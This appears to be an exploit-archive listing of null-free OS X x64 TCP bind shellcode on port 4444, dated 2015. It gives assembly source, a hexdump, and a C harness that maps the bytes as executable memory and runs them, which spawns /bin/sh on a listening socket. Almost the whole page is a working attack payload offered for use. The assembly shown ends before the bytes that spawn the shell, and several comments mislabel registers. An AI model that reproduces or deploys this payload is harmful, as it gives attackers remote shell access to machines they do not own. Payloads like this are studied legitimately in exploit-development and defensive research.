OS X x64 - tcp bind shellcode, NULL byte free (144 bytes)



EKU-ID: 5110 CVE: OSVDB-ID:
Author: Fitzl Csaba Published: 2015-09-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


;OS X x64, TCP bind shellcode (port 4444), NULL byte free, 144 bytes long
;ASM code
;compile:
;nasm -f macho64 bind-shellcode.asm
;ld -macosx_version_min 10.7.0 -o bindsc bind-shellcode.o
 
BITS 64
 
global start
 
section .text
 
;Argument order: rdi, rsi, rdx, rcx
 
 
start:
    ;socket
    xor     rdi,rdi                 ;zero out RSI
    mov     dil, 0x2                ;AF_INET = 2
    xor     rsi,rsi                 ;zero out RSI
    mov     sil, 0x1                ;SOCK_STREAM = 1
    xor     rdx, rdx                ;protocol = IP = 0
     
    ;store syscall number on RAX
    xor     rax,rax                 ;zero out RAX
    mov     al,2                    ;put 2 to AL -> RAX = 0x0000000000000002
    ror     rax, 0x28               ;rotate the 2 -> RAX = 0x0000000002000000
    mov     al,0x61                 ;move 3b to AL (execve socket#) -> RAX = 0x0000000002000061
    mov     r12, rax                ;save RAX
    syscall                         ;trigger syscall
     
    ;bind
    mov     r9, rax                 ;save socket number
    mov     rdi, rax                ;put return value to RDI int socket
    xor     rsi, rsi                ;zero out RSI
    push    rsi                     ;push RSI to the stack
    mov     esi, 0x5c110201         ;port number 4444 (=0x115c)
    sub     esi,1                   ;make ESI=0x5c110200
    push    rsi                     ;push RSI to the stack
    mov     rsi, rsp                ;store address
    mov     dl,0x10                 ;length of socket structure 0x10
    add     r12b, 0x7               ;RAX = 0x0000000002000068 bind
    mov     rax, r12                ;restore RAX
    syscall
     
    ;listen
    ;RDI already contains the socket number
    xor     rsi, rsi                ;zero out RSI
    inc     rsi                     ;backlog = 1
    add     r12b, 0x2               ;RAX = 0x000000000200006a listen
    mov     rax, r12                ;restore RAX
    syscall
     
    ;accept 30  AUE_ACCEPT  ALL { int accept(int s, caddr_t name, socklen_t *anamelen); }
    ;RDI already contains the socket number
    xor     rsi, rsi                ;zero out RSI
    ;RDX is already zero
    sub     r12b, 0x4c              ;RAX = 0x000000000200001e accept
    mov     rax, r12                ;restore RAX
    syscall
     
    ;int dup2(u_int from, u_int to);
    mov     rdi, rax
    xor     rsi, rsi
    add     r12b, 0x3c              ;RAX = 0x000000000200005a dup2
    mov     rax, r12                ;restore RAX
    syscall
 
/*
$ nasm -f bin bind-shellcode.asm
$ hexdump bind-shellcode
0000000 48 31 ff 40 b7 02 48 31 f6 40 b6 01 48 31 d2 48
0000010 31 c0 b0 02 48 c1 c8 28 b0 61 49 89 c4 0f 05 49
0000020 89 c1 48 89 c7 48 31 f6 56 be 01 02 11 5c 83 ee
0000030 01 56 48 89 e6 b2 10 41 80 c4 07 4c 89 e0 0f 05
0000040 48 31 f6 48 ff c6 41 80 c4 02 4c 89 e0 0f 05 48
0000050 31 f6 41 80 ec 4c 4c 89 e0 0f 05 48 89 c7 48 31
0000060 f6 41 80 c4 3c 4c 89 e0 0f 05 48 ff c6 4c 89 e0
0000070 0f 05 48 31 f6 56 48 bf 2f 2f 62 69 6e 2f 73 68
0000080 57 48 89 e7 48 31 d2 41 80 ec 1f 4c 89 e0 0f 05
0000090
*/
 
//C code
//compile:
//gcc bind-shellcode.c -o bindsc
 
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
  
int (*sc)();
  
char shellcode[] =
"\x48\x31\xff\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\x48\x31\xd2\x48" \
"\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x61\x49\x89\xc4\x0f\x05\x49" \
"\x89\xc1\x48\x89\xc7\x48\x31\xf6\x56\xbe\x01\x02\x11\x5c\x83\xee" \
"\x01\x56\x48\x89\xe6\xb2\x10\x41\x80\xc4\x07\x4c\x89\xe0\x0f\x05" \
"\x48\x31\xf6\x48\xff\xc6\x41\x80\xc4\x02\x4c\x89\xe0\x0f\x05\x48" \
"\x31\xf6\x41\x80\xec\x4c\x4c\x89\xe0\x0f\x05\x48\x89\xc7\x48\x31" \
"\xf6\x41\x80\xc4\x3c\x4c\x89\xe0\x0f\x05\x48\xff\xc6\x4c\x89\xe0" \
"\x0f\x05\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" \
"\x57\x48\x89\xe7\x48\x31\xd2\x41\x80\xec\x1f\x4c\x89\xe0\x0f\x05";
  
int main(int argc, char **argv) {
  
    void *ptr = mmap(0, 0x90, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
            | MAP_PRIVATE, -1, 0);
  
    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }
  
    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;
  
    sc();
  
    return 0;
}